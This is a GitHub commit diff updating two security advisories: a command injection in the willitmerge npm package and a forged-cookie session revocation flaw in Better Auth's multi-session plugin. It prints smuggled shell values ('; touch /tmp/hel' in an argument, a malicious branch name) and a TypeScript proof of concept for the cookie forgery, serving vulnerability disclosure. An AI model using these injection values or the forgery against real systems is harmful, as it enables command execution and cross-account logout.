Skip to content

Commit dde0c82

Browse files
1 parent e4be2c1 commit dde0c82

File tree

2 files changed

+17
-6
lines changed

2 files changed

+17
-6
lines changed

advisories/github-reviewed/2025/11/GHSA-j9wj-m24m-7jj6/GHSA-j9wj-m24m-7jj6.json

Lines changed: 15 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,19 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-j9wj-m24m-7jj6",
4-
"modified": "2025-11-26T22:09:27Z",
4+
"modified": "2025-12-01T16:06:54Z",
55
"published": "2025-11-26T22:09:27Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2025-66219"
8+
],
79
"summary": "willitmerge has a Command Injection vulnerability",
810
"details": "willitmerge describes itself as a command line tool to check if pull requests are mergeable. There is a Command Injection vulnerability in version `[email protected]`.\n\nResources: \n * Project's GitHub source code: https://github.com/shama/willitmerge/\n * Project's npm package: https://www.npmjs.com/package/willitmerge\n\n## Background on exploitation\n\nReporting a Command Injection vulnerability in `willitmerge` npm package.\n\nA security vulnerability manifests in this package due to the use of insecure child process execution API (`exec`) to which it concateanes user input, whether provided to the command-line flag, or is in user control in the target repository.\n\n## Exploit \n\n### POC 1\n\n1. Install `willitmerge`\n2. Run it with the following command\n\n```sh\nwillitmerge --verbose --remote \"https://github.com/lirantal/npq.git; touch /tmp/hel\"\n```\n\n3. Confirm the file `/tmp/hel` is created on disk\n\n### GitHub-sourced attack vector\n\n[Lines 189-197](https://github.com/shama/willitmerge/blob/2fe91d05191fb05ac6da685828d109a3a5885028/lib/willitmerge.js#L189-L197) in `lib/willitmerge.js`\npass user input controlled by repository collaborators into the git command:\n\n```js\n var cmds = [\n 'git checkout -b ' + branch + ' ' + that.options.remote + '/' + iss.base.ref,\n 'git remote add ' + branch + ' ' + gitUrl,\n 'git pull ' + branch + ' ' + iss.head.ref,\n 'git reset --merge HEAD',\n 'git checkout ' + origBranch,\n 'git branch -D ' + branch,\n 'git remote rm ' + branch\n ];\n```\n\nUsers creating malicious branch names such as `;{echo,hello,world}>/tmp/c`\n\nThis is a similar attack vector to that which was reported for the [pullit vulnerability (https://security.snyk.io/vuln/npm:pullit:20180214)\n\n# Author\n\nLiran Tal",
9-
"severity": [],
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
15+
}
16+
],
1017
"affected": [
1118
{
1219
"package": {
@@ -33,6 +40,10 @@
3340
"type": "WEB",
3441
"url": "https://github.com/shama/willitmerge/security/advisories/GHSA-j9wj-m24m-7jj6"
3542
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66219"
46+
},
3647
{
3748
"type": "PACKAGE",
3849
"url": "https://github.com/shama/willitmerge"
@@ -49,6 +60,6 @@
4960
"severity": "MODERATE",
5061
"github_reviewed": true,
5162
"github_reviewed_at": "2025-11-26T22:09:27Z",
52-
"nvd_published_at": null
63+
"nvd_published_at": "2025-11-29T02:15:52Z"
5364
}
5465
}

advisories/github-reviewed/2025/11/GHSA-wmjr-v86c-m9jj/GHSA-wmjr-v86c-m9jj.json

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-wmjr-v86c-m9jj",
4-
"modified": "2025-11-26T22:11:50Z",
4+
"modified": "2025-12-01T16:08:39Z",
55
"published": "2025-11-26T22:11:50Z",
66
"aliases": [],
77
"summary": "Better Auth's multi-session sign-out hook allows forged cookies to revoke arbitrary sessions",
8-
"details": "## Summary\n- Vulnerable component: `multi-session` plugin’s `/sign-out` after-hook (`packages/better-auth/src/plugins/multi-session/index.ts`)\n- Issue: Hook trusts raw multi-session cookies and forwards unsanitized tokens to `internalAdapter.deleteSessions`, allowing forged cookies to revoke arbitrary sessions.\n- Status: Reproduced locally with updated proof-of-concept.\n\n## Impact\nAny authenticated attacker who can obtain the plain session token of another user (via log leaks, backups, etc.) can forge a multi-session cookie and trigger `/sign-out`. The hook extracts the attacker-supplied token and deletes the victim’s session, causing cross-account logout. No signing secret is required.\n\n## Product / Version\n- Repository: `better-auth`\n- Branch: `canary`\n- Affected file: `packages/better-auth/src/plugins/multi-session/index.ts` (current head)\n- Dependency configuration: `pnpm install`, Bun runtime (`bun v1.3.0`)\n\n## Steps to Reproduce\n1. Clone the repository and install dependencies with `pnpm install`.\n2. Ensure Bun is installed.\n3. Save the proof-of-concept script below as `PROOF_OF_CONCEPTS/multi_session/force-signout.ts`.\n4. Run:\n ```\n bun run --conditions better-auth-dev-source PROOF_OF_CONCEPTS/multi_session/force-signout.ts\n ```\n5. Observe the simulated adapter logging deletion of the attacker-chosen token.\n\n## Proof of Concept\nCurrent PoC (which selects the correct sign-out hook and demonstrates the forged-cookie flow):\n\n```ts\nimport { multiSession } from \"../../packages/better-auth/src/plugins/multi-session\";\nimport type { AuthMiddleware } from \"../../packages/core/src/api/index\";\n\nconst plugin = multiSession();\n\nconst hook = plugin.hooks.after\n ?.slice()\n .reverse()\n .find((h) => h.matcher({ path: \"/sign-out\" } as any));\n\nconst deleteSessions = (tokenList: string[]) => {\n console.log(\"deleteSessions invoked with:\", tokenList);\n};\n\nconst ctx = {\n headers: new Headers({\n cookie: \"better-auth.session_token=my-valid-session; better-auth.session_token_multi-target=TARGETTOKEN.fake\",\n }),\n context: {\n secret: \"dummy-secret\",\n authCookies: {\n sessionToken: {\n name: \"better-auth.session_token\",\n options: {},\n },\n },\n internalAdapter: {\n deleteSessions: deleteSessions,\n },\n },\n getSignedCookie: async (name: string) => {\n if (name.includes(\"_multi-\")) {\n // simulate forged cookie appearing valid\n return \"TARGETTOKEN\";\n }\n return \"my-valid-session\";\n },\n setCookie: () => {},\n json: () => {},\n} as unknown as Parameters<AuthMiddleware>[0];\n\nif (!hook) {\n throw new Error(\"Sign-out hook not found\");\n}\n\n(async () => {\n await hook.handler(ctx as any);\n})();\n```\n\n### PoC Output\n\n```\ndeleteSessions invoked with: [ \"TARGETTOKEN\" ]\n```\n\n![Screenshot 2025-11-12 at 5 32 52 PM](https://github.com/user-attachments/assets/d181916e-c0a8-4124-bdf3-7559315068d9)\n\nThis shows the handler accepted the forged cookie and attempted to delete the attacker-specified session token.\n\n## Root Cause\nThe multi-session sign-out hook parses cookies with `parseCookies(cookieHeader)` and, for every key matching the `_multi-` naming pattern, sets a blank cookie response and splits the value on `.` to extract the token. No call to `ctx.getSignedCookie` or equivalent verification occurs before invoking `ctx.context.internalAdapter.deleteSessions(...)`.\n\n## Severity / CVSS\n- Vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H`\n- Rationale: Logged-in attacker, no user interaction, compromise propagates across users; integrity and availability impact are high due to remote session revocation.\n\nThis vulnerability was discovered by [winfunc](https://winfunc.com).",
8+
"details": "## Summary\n- Vulnerable component: `multi-session` plugin’s `/sign-out` after-hook (`packages/better-auth/src/plugins/multi-session/index.ts`)\n- Issue: Hook trusts raw multi-session cookies and forwards unsanitized tokens to `internalAdapter.deleteSessions`, allowing forged cookies to revoke arbitrary sessions.\n- Status: Reproduced locally with updated proof-of-concept.\n\n## Impact\nAny authenticated attacker who can obtain the plain session token of another user (via log leaks, backups, etc.) can forge a multi-session cookie and trigger `/sign-out`. The hook extracts the attacker-supplied token and deletes the victim’s session, causing cross-account logout. No signing secret is required.\n\n## Product / Version\n- Repository: `better-auth`\n- Branch: `canary`\n- Affected file: `packages/better-auth/src/plugins/multi-session/index.ts` (current head)\n- Dependency configuration: `pnpm install`, Bun runtime (`bun v1.3.0`)\n\n## Steps to Reproduce\n1. Clone the repository and install dependencies with `pnpm install`.\n2. Ensure Bun is installed.\n3. Save the proof-of-concept script below as `PROOF_OF_CONCEPTS/multi_session/force-signout.ts`.\n4. Run:\n ```\n bun run --conditions better-auth-dev-source PROOF_OF_CONCEPTS/multi_session/force-signout.ts\n ```\n5. Observe the simulated adapter logging deletion of the attacker-chosen token.\n\n## Proof of Concept\nCurrent PoC (which selects the correct sign-out hook and demonstrates the forged-cookie flow):\n\n```ts\nimport { multiSession } from \"../../packages/better-auth/src/plugins/multi-session\";\nimport type { AuthMiddleware } from \"../../packages/core/src/api/index\";\n\nconst plugin = multiSession();\n\nconst hook = plugin.hooks.after\n ?.slice()\n .reverse()\n .find((h) => h.matcher({ path: \"/sign-out\" } as any));\n\nconst deleteSessions = (tokenList: string[]) => {\n console.log(\"deleteSessions invoked with:\", tokenList);\n};\n\nconst ctx = {\n headers: new Headers({\n cookie: \"better-auth.session_token=my-valid-session; better-auth.session_token_multi-target=TARGETTOKEN.fake\",\n }),\n context: {\n secret: \"dummy-secret\",\n authCookies: {\n sessionToken: {\n name: \"better-auth.session_token\",\n options: {},\n },\n },\n internalAdapter: {\n deleteSessions: deleteSessions,\n },\n },\n getSignedCookie: async (name: string) => {\n if (name.includes(\"_multi-\")) {\n // simulate forged cookie appearing valid\n return \"TARGETTOKEN\";\n }\n return \"my-valid-session\";\n },\n setCookie: () => {},\n json: () => {},\n} as unknown as Parameters<AuthMiddleware>[0];\n\nif (!hook) {\n throw new Error(\"Sign-out hook not found\");\n}\n\n(async () => {\n await hook.handler(ctx as any);\n})();\n```\n\n### PoC Output\n\n```\ndeleteSessions invoked with: [ \"TARGETTOKEN\" ]\n```\n\n![Screenshot 2025-11-12 at 5 32 52 PM](https://github.com/user-attachments/assets/d181916e-c0a8-4124-bdf3-7559315068d9)\n\nThis shows the handler accepted the forged cookie and attempted to delete the attacker-specified session token.\n\n## Root Cause\nThe multi-session sign-out hook parses cookies with `parseCookies(cookieHeader)` and, for every key matching the `_multi-` naming pattern, sets a blank cookie response and splits the value on `.` to extract the token. No call to `ctx.getSignedCookie` or equivalent verification occurs before invoking `ctx.context.internalAdapter.deleteSessions(...)`.",
99
"severity": [
1010
{
1111
"type": "CVSS_V3",

0 commit comments

Comments
 (0)